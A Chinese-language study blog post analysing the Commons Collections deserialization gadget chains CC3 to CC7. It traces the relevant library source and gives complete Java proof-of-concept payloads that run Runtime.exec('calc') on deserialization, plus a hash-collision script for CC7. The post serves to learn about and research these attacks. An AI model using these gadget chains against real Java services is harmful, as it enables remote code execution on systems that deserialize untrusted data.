JavaCC3-CC7链分析
前言
上次看java还要追溯到上一次,好久没有看过java了,赶紧先把基础恶补一下。
CC3链
CommonsCollections3的目的很明显,就是为了绕过⼀些规则对InvokerTransformer的限制。
反序列化链
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
new TrAXFilter(templatesImpl)
templatesImpl.newTransformer()
版本环境
dk<JDK8u71,commons-collections3.1-3.2.1
commons-collections
commons-collections
3.1
TrAXFilter
在TrAXFilter
中有_transformer = (TransformerImpl) templates.newTransformer();
利用此处的newTransformer()
可以绕过InvokerTransformer
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
InstantiateTransformer
该类中的transform
方法可以调用任意类的构造器方法。于是乎就把链连起来了。
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var6) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException var7) {
throw new FunctorException("InstantiateTransformer: InstantiationException", var7);
} catch (IllegalAccessException var8) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", var8);
} catch (InvocationTargetException var9) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9);
}
}
CC1链中动态代理写法的补充
学CC链才发现,这些内容真的是一环扣一环,由于相隔时间太久,导致前面的都快忘完了。然后到动态代理方法这里,一点印象都没有了,所以重新看一下。
首先lazyMap
的get
方法会调用其decorated trasformer
的transform
,让我们只需触发get
。这是前面lazyMap
写法的CC1链用到的。
现在从前往后看看。
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
在AnnotationInvocationHandler
的readObject
方法中有这么一行,Iterator var4 = this.memberValues.entrySet().iterator();
调用了可控memberValues的entrySet()
。
如果我们通过另一个AnnotationInvocationHandler
对象A动态代理对象B,那么就会调用对象A的invoke
方法。
观察AnnotationInvocationHandler.invoke()
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
发现了get
方法,
default:
Object var6 = this.memberValues.get(var4);
我们再让B为lazymap
,不就能执行lazyMap.get
了嘛。
于是仿照网上的动态代理代码,写出下面的POC
Map map = new HashMap();
Map map1 = LazyMap.decorate(map, d);
//
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class);
ct.setAccessible(true);
//
InvocationHandler handler = (InvocationHandler) ct.newInstance(Target.class, map1);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
Object o = ct.newInstance(Target.class, proxyMap);
//payload序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("attack.ser"));
oos.writeObject(o);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("attack.ser"));
ois.readObject();
完整POC
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc3{
public static void main(String[] args) throws Exception{
TemplatesImpl templatesImpl=getTemplates();
//接下来只需templatesImpl.newTransformer()
//制作chain
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
};
ChainedTransformer chain=new ChainedTransformer(transformers);
//把commonscollections1的东西拼上
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor c=clazz.getDeclaredConstructor(Class.class, Map.class);
c.setAccessible(true);
Map zhangsan= LazyMap.decorate(new HashMap(),chain);
InvocationHandler stuHandler = (InvocationHandler) c.newInstance(Target.class,zhangsan);
Map stuProxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class<?>[]{Map.class}, stuHandler);
Object o=c.newInstance(Target.class,stuProxy);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(o);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
}
static TemplatesImpl getTemplates() throws Exception{
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ctClass = classPool.makeClass("Evil");
ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
String shell = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(shell);
byte[] shellCode = ctClass.toBytecode();
byte[][] targetByteCode = new byte[][]{shellCode};
TemplatesImpl templates = new TemplatesImpl();
Class c1 = templates.getClass();
Field _name = c1.getDeclaredField("_name");
Field _bytecode = c1.getDeclaredField("_bytecodes");
Field _tfactory = c1.getDeclaredField("_tfactory");
_name.setAccessible(true);
_bytecode.setAccessible(true);
_tfactory.setAccessible(true);
_name.set(templates, "h3rmesk1t");
_bytecode.set(templates, targetByteCode);
_tfactory.set(templates, new TransformerFactoryImpl());
return templates;
}
}
CC4链
CC4链是在CC2链的基础上,利用InstantiateTransformer
替换InvokerTransformer
得到的。
调用链
CC4的调用链(脑测)
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
ChaindTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
new TrAXFilter(templatesImpl)
templatesImpl.newTransformer()
*/
自己试着copy了一下
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cc4 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CC2");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");
//接下来只需templatesImpl.newTransformer()
//制作chain
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
};
ChainedTransformer chain=new ChainedTransformer(transformers);
TransformingComparator comparator =new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
可以成功调用计算器。
CC5链
调用链
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
环境版本
JDK<8u76
commons-collections
commons-collections
3.1
TiedMapEntry
看一下
public class TiedMapEntry implements Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getKey() {
return this.key;
}
public Object getValue() {
return this.map.get(this.key);
}
public Object setValue(Object value) {
if (value == this) {
throw new IllegalArgumentException("Cannot set value to this map entry");
} else {
return this.map.put(this.key, value);
}
}
public boolean equals(Object obj) {
if (obj == this) {
return true;
} else if (!(obj instanceof Entry)) {
return false;
} else {
Entry other = (Entry)obj;
Object value = this.getValue();
return (this.key == null ? other.getKey() == null : this.key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue()));
}
}
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
public String toString() {
return this.getKey() + "=" + this.getValue();
}
}
我们可以看到在toString()
函数中有调用getValue()
方法,getValue()
方法中又调用this.map.get()
如果我们让this.map
为lazyMap
,就可以调用lazyMap.get()
。与CC1链成功联系。
接下来想如何触发toString
方法。
BadAttributeValueExpException
在BadAttributeValueExpException.readObject()
中有
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
BadAttributeValueExpException.readObject()
有调用valObj.toString()
。这时我们就需要进入if,于是我们考虑如何将System.getSecurityManager() == null
还有如何将valObj
的值赋为TiedMapEntry
类。
看到Object valObj = gf.get("val", null);
,我们将val
进行赋值即可。
跟进System.getSecurityManager()
发现return security
,然后security
默认为null。
payload
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc5{
public static void main(String[] args) throws Exception{
ChainedTransformer chain=getChainedTransformer();
Map lazymap=LazyMap.decorate(new HashMap(),chain);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap,1);
BadAttributeValueExpException e=new BadAttributeValueExpException(null);
Class c1=e.getClass();
Field Field1=c1.getDeclaredField("val");
Field1.setAccessible(true);
Field1.set(e,tiedMapEntry);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(e);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
}
static ChainedTransformer getChainedTransformer(){
ConstantTransformer ct=new ConstantTransformer(Runtime.class);
InvokerTransformer it1=new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime",new Class[0]}
);
InvokerTransformer it2=new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{"getRuntime",new Class[0]}
);
InvokerTransformer it_exec=new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
Transformer[] a=new Transformer[]{ct,it1,it2,it_exec};
ChainedTransformer chain=new ChainedTransformer(a);
return chain;
}
}
注意payload中的BadAttributeValueExpException e=new BadAttributeValueExpException(null);
,我们赋值null,防止还未进行反序列化就进行攻击,具体原因可以看构造函数。
CC6链
调用链
/*
Gadget chain:
ObjectInputStream.readObject()
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
版本
jdk没有版本限制
commons-collections
commons-collections
3.1
TiedMapEntry
与CC5中利用TiedMapEntry
中的toString()
调用getValue
不同,CC6采用hashCode
方法触发getValue
。
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
HashMap
看HashMap
中有调用key.hashCode()
,key
为输入,那我们可以让key
为TiedMapEntry
即可。
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
并且在put
中也会触发hash
。
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
HashSet
HashSet
的readObject
中会调用map.put(e, PRESENT);
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read capacity and verify non-negative.
int capacity = s.readInt();
if (capacity < 0) {
throw new InvalidObjectException("Illegal capacity: " +
capacity);
}
// Read load factor and verify positive and non NaN.
float loadFactor = s.readFloat();
if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
}
// Read size and verify non-negative.
int size = s.readInt();
if (size < 0) {
throw new InvalidObjectException("Illegal size: " +
size);
}
// Set the capacity according to the size and load factor ensuring that
// the HashMap is at least 25% full but clamping to maximum capacity.
capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
HashMap.MAXIMUM_CAPACITY);
// Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
payload
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class cc6{
public static void main(String[] args) throws IOException, ClassNotFoundException {
ChainedTransformer chain=getChainedTransformer();
Map lazymap= LazyMap.decorate(new HashMap(),chain);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap,1);
HashSet hashSet=new HashSet();
hashSet.add(tiedMapEntry);
lazymap.remove(1);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(hashSet);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
}
static ChainedTransformer getChainedTransformer(){
ConstantTransformer ct=new ConstantTransformer(Runtime.class);
InvokerTransformer it1=new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime",new Class[0]}
);
InvokerTransformer it2=new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{"getRuntime",new Class[0]}
);
InvokerTransformer it_exec=new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
Transformer[] a=new Transformer[]{ct,it1,it2,it_exec};
ChainedTransformer chain=new ChainedTransformer(a);
return chain;
}
}
序列化报错
因为序列化前会多put
一遍,把java.lang.ProcessImpl
也给序列化了,但是它是not serializable
的。debug
就不赘述了,可以拜读文末phtihon
的大作
加一句lazymap.remove(1);
即可。
这里我没太理解,按照p神写的,是HashMap.hash()
方法中同时也会调用到LazyMap
这个利用链,试着跟了一下,发现在new``TiedMapEntry
时设置了key,在调用LazyMap.get()
时,无法通过!super.map.containsKey(key)
的check,导致无法进行transform
调用。所以需要提前remove
。但是bridge在写的时候又说是因为序列化的问题,不是很懂,但是先咕咕了。
CC7链
调用链
/*
Payload method chain:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
java.lang.Runtime.exec
*/
版本
jdk无限制
CommonsCollections 3.1 - 3.2.1
Hashtable
readObject
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();
// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();
// Compute new size with a bit of room 5% to grow but
// no larger than the original size. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}
reconstitutionPut
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
//value不能为null
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
//重新计算key的hash值
int hash = key.hashCode();
//根据hash值计算存储索引
int index = (hash & 0x7FFFFFFF) % tab.length;
//判断元素的key是否重复
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
//如果key重复则抛出异常
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
//key不重复则将元素添加到table数组中
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
1reconstitutionPut
方法首先对value
进行不为null
的校验,否则抛出反序列化异常,然后根据key
计算出元素在table
数组中的存储索引,判断元素在table
数组中是否重复,如果重复则抛出异常,如果不重复则将元素转换成Entry
并添加到table
数组中。
在判断重复时调用了e.key.equals(key)
方法。在编写payload时,我们会令e为LazyMap
类,则e.key.equals()
调用了LazyMap
的equals
方法,但是LazyMap
中并没有equals
方法,实际上是调用了LazyMap
的父类AbstractMapDecorator
的equals
方法,虽然AbstractMapDecorator
是一个抽象类,但它实现了equals
方法。
public boolean equals(Object object) {
return object == this ? true : this.map.equals(object);
}
AbstractMapDecorator
类的equals
方法只比较了object
是否为AbstractMapDecorator
的类,如果不是则会再次调用equals
方法,map
属性是通过LazyMap
传递的,我们在构造利用链的时候,通过LazyMap
的静态方法decorate
将HashMap
传给了map
属性,因此这里会调用HashMap
的equals
方法。(这里实际我没绕太明白,断点跟直接跟到AbstractMap
里了)
在HashMap
中并没有找到一个名字为equals
的成员方法,但是通过分析发现HashMap
继承了AbstractMap
抽象类,该类中有一个equals
方法。
public boolean equals(Object o) {
//是否为同一对象
if (o == this)
return true;
//运行类型是否不是Map
if (!(o instanceof Map))
return false;
//向上转型
Map<?,?> m = (Map<?,?>) o;
//判断HashMap的元素的个数size
if (m.size() != size())
return false;
try {
//获取HashMap的迭代器
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
//获取每个元素(Node)
Entry<K,V> e = i.next();
//获取key和value
K key = e.getKey();
V value = e.getValue();
//如果value为null,则判断key
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
//如果value不为null,判断value内容是否相同
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
抽象类AbstractMap
的equals
方法进行了更为复杂的判断:
判断是否为同一对象
判断对象的运行类型
判断Map中元素的个数
当以上三个判断都不满足的情况下,则进一步判断Map
中的元素,也就是判断元素的key
和value
的内容是否相同,在value
不为null
的情况下,m
会调用get
方法获取key
的内容,虽然对象o
向上转型成Map
类型,但是m
对象本质上是一个LazyMap
。因此m
对象调用get
方法时实际上是调用了LazyMap
的get
方法。
哈希碰撞
在reconstitutionPut
中有一个check,if
这一行由于用&&
连接,左边为false
就不会执行右边。这两个hash
对应当前key
和上一个key
的hashcode
。
if ((e.hash == hash) && e.key.equals(key)) {
这里key
我们选择的是String
,观察String.hashCode()
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
爆破两位就可。
import string
letter = string.ascii_uppercase+string.ascii_lowercase
def hashcode(string_expected):
return 31 * ord(string_expected[0]) + ord(string_expected[1])
for i in letter:
for j in letter:
for k in letter:
for l in letter:
str1 = i+j
str2 = k+l
if str1 != str2:
if hashcode(str1) == hashcode(str2):
print(hashcode(str1), str1, str2, sep=" ")
这也是为什么我们在构造利用链的时候必须添加两个两个元素,因为要通过这个绕过check,虽然这两个元素的hash
值是一样的,但本质上是两个不同的元素。
lazyMap2集合中的第二个元素(yy=yy)
CC7利用链的payload
代码中,Hashtable
在添加第二个元素时,lazyMap2
集合会“莫名其妙”添加一个元素(yy=yy),Hashtable
在调用put
方法添加元素的时候会调用equals
方法判断是否为同一对象,而在equals
中会调用LazyMap
的get
方法添加一个元素(yy=yy)。
例如Hashtable
调用put
方法添加第二个元素(lazyMap2,1)的时候,该方法内部会调用equals
方法根据元素的key
判断是否为同一元素
此时的key
是lazyMap2
对象,而lazyMap2
实际上调用了AbstractMap
抽象类的equals
方法,equals
方法内部会调用lazyMap2
的get
方法判断table
数组中元素的key
在lazyMap2
是否已存在,如果不存在,transform
会把当前传入的key
返回作为value
,然后lazyMap2
会调用put
方法把key
和value(yy=yy)
添加到lazyMap2
。
当在反序列化时,reconstitutionPut
方法在还原table
数组时会调用equals
方法判断重复元素,由于AbstractMap
抽象类的equals
方法校验的时候更为严格,会判断Map
中元素的个数,由于lazyMap2
和lazyMap1
中的元素个数不一样则直接返回false
,那么也就不会触发漏洞。
因此在构造CC7利用链的payload
代码时,Hashtable
在添加第二个元素后,lazyMap2
需要调用remove
方法删除元素(yy=yy)才能触发漏洞。
payload
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.*;
public class cc7{
public static void main(String[] args) throws IOException, ClassNotFoundException {
ChainedTransformer chain=getChainedTransformer();
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map map1 = LazyMap.decorate(hashMap1, chain);
map1.put("00", 1);
Map map2 = LazyMap.decorate(hashMap2, chain);
map2.put(".n", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(map1, 1);
hashtable.put(map2, 1);
map2.remove("00");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(hashtable);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
}
static ChainedTransformer getChainedTransformer(){
ConstantTransformer ct=new ConstantTransformer(Runtime.class);
InvokerTransformer it1=new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime",new Class[0]}
);
InvokerTransformer it2=new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{"getRuntime",new Class[0]}
);
InvokerTransformer it_exec=new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
Transformer[] a=new Transformer[]{ct,it1,it2,it_exec};
ChainedTransformer chain=new ChainedTransformer(a);
return chain;
}
}
参考链接:
https://www.cnblogs.com/kingbridge/articles/16141397.html#%E5%93%88%E5%B8%8C%E7%A2%B0%E6%92%9E
https://blog.csdn.net/qq_35733751/article/details/119862728